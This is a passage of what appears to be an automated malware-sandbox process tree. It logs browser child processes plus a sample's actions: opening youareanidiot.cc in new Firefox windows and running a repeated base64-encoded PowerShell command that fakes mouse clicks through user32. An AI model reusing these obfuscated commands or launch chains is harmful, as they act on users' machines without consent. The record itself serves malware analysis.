        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5216,i,10343583363580425247,5806691314882722490,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:12
        5⤵
        
        PID:1948
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5628,i,7769662983164946217,8672980603410204631,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:14
        5⤵
        
        PID:1352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,14257591072372203528,7291990958854990547,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
        5⤵
        
        PID:6100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6152,i,11321126161312673706,1487181506846099254,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:1
        5⤵
        
        PID:6744
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5332,i,8415853055685350441,6089547029797082268,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:1
        5⤵
        
        PID:1320
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6872,i,1231376674394124653,16636643745811297828,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:14
        5⤵
        
        PID:7432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6872,i,1231376674394124653,16636643745811297828,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:14
        5⤵
        
        PID:7560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6936,i,2195804433841028523,7350022274319558836,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
        5⤵
        
        PID:7252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=824,i,8615630744162658115,4330193142025569467,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7148 /prefetch:14
        5⤵
        
        PID:7800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,14289272288583108156,10650450686032212004,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:14
        5⤵
        
        PID:7824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,16700251304663500217,6300312618703500453,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7204 /prefetch:14
        5⤵
        
        PID:7844
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7164,i,13791967402404907868,5164841111139624,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:14
        5⤵
        
        PID:9016
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6340,i,2079829903512910032,17081828362197739793,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
        5⤵
        
        PID:7852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7236,i,9922974362860566531,4047932391598743643,262144 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:712
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5384,i,1811319220960764237,5493788679321960712,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7408 /prefetch:14
        5⤵
        
        PID:8452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7080,i,2468909579292480769,4678310832501781353,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
        5⤵
        
        PID:2904
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7432,i,74341368025051594,1389669961302448542,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7420 /prefetch:14
        5⤵
        
        PID:6872
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5916,i,6509180017928282039,2943049176424258920,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7556 /prefetch:14
        5⤵
        
        PID:8412
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7040,i,8174094273318595336,2540172958977573128,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:14
        5⤵
        
        PID:3004
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7096,i,15178290299554879615,5758242274499868671,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:14
        5⤵
        
        PID:8668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3032,i,909779472562656481,15792599262649599481,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:14
        5⤵
        
        PID:8188
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7120,i,2031535662245693205,2932319701783309184,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=7096 /prefetch:14
        5⤵
        
        PID:7644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4680
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4852
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Drops desktop.ini file(s)
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:816
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1988 -prefsLen 27097 -prefMapHandle 1992 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {e9bd1d94-4fed-4040-9502-1bbaa60ae86d} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:1452
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27133 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2456 -initialChannelId {cc72ff05-751a-429f-b59b-acb76aaf648e} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:1116
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2964 -prefsLen 25213 -prefMapHandle 3080 -prefMapSize 270279 -jsInitHandle 3248 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2968 -initialChannelId {6695de10-1eea-4ba3-9fea-6d7c107f6ecc} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:6540
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2732 -prefsLen 27323 -prefMapHandle 2736 -prefMapSize 270279 -ipcHandle 3852 -initialChannelId {73075913-9c66-49f0-a254-3237694ac877} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6580
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4396 -prefsLen 34822 -prefMapHandle 4400 -prefMapSize 270279 -jsInitHandle 4404 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4412 -initialChannelId {8d9e1c75-a137-4eb2-9275-49ee3dd16d66} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:5420
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4700 -prefsLen 32819 -prefMapHandle 2796 -prefMapSize 270279 -jsInitHandle 2800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4624 -initialChannelId {270263ff-5631-450a-9dca-fb4b7e6edb6e} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        6⤵
        Checks processor information in registry
        
        PID:7120
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4608 -prefsLen 32819 -prefMapHandle 4612 -prefMapSize 270279 -jsInitHandle 4948 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1260 -initialChannelId {585ffdf4-5add-4353-a752-e886530c052e} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:7664
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5200 -prefsLen 35257 -prefMapHandle 5204 -prefMapSize 270279 -ipcHandle 5212 -initialChannelId {6647e925-3f93-4a26-a0c3-be4c9cba3945} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 utility
        6⤵
        Checks processor information in registry
        
        PID:8148
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5324 -prefsLen 33090 -prefMapHandle 5328 -prefMapSize 270279 -jsInitHandle 5332 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5340 -initialChannelId {f9d6b99d-1fc4-406f-906f-e6edb192bdb8} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:7236
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5324 -prefsLen 35257 -prefMapHandle 5160 -prefMapSize 270279 -ipcHandle 4972 -initialChannelId {154afa3e-897d-4ade-9eea-a048ebb5b9c9} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        6⤵
        Checks processor information in registry
        
        PID:7484
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5848 -prefsLen 33142 -prefMapHandle 3012 -prefMapSize 270279 -jsInitHandle 3048 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3052 -initialChannelId {2c72a647-1f64-4293-9ee6-d783f723e12e} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        Checks processor information in registry
        
        PID:8952
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6256 -prefsLen 33142 -prefMapHandle 6252 -prefMapSize 270279 -jsInitHandle 6248 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6156 -initialChannelId {9d21a4a1-7562-433c-b2d4-6e0ba22d0b07} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        Checks processor information in registry
        
        PID:8912
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6440 -prefsLen 33142 -prefMapHandle 6416 -prefMapSize 270279 -jsInitHandle 6412 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6044 -initialChannelId {e8c607ff-3386-4297-b347-85a1fc87fa08} -parentPid 816 -crashReporter "\\.\pipe\gecko-crash-server-pipe.816" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        Checks processor information in registry
        
        PID:3460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
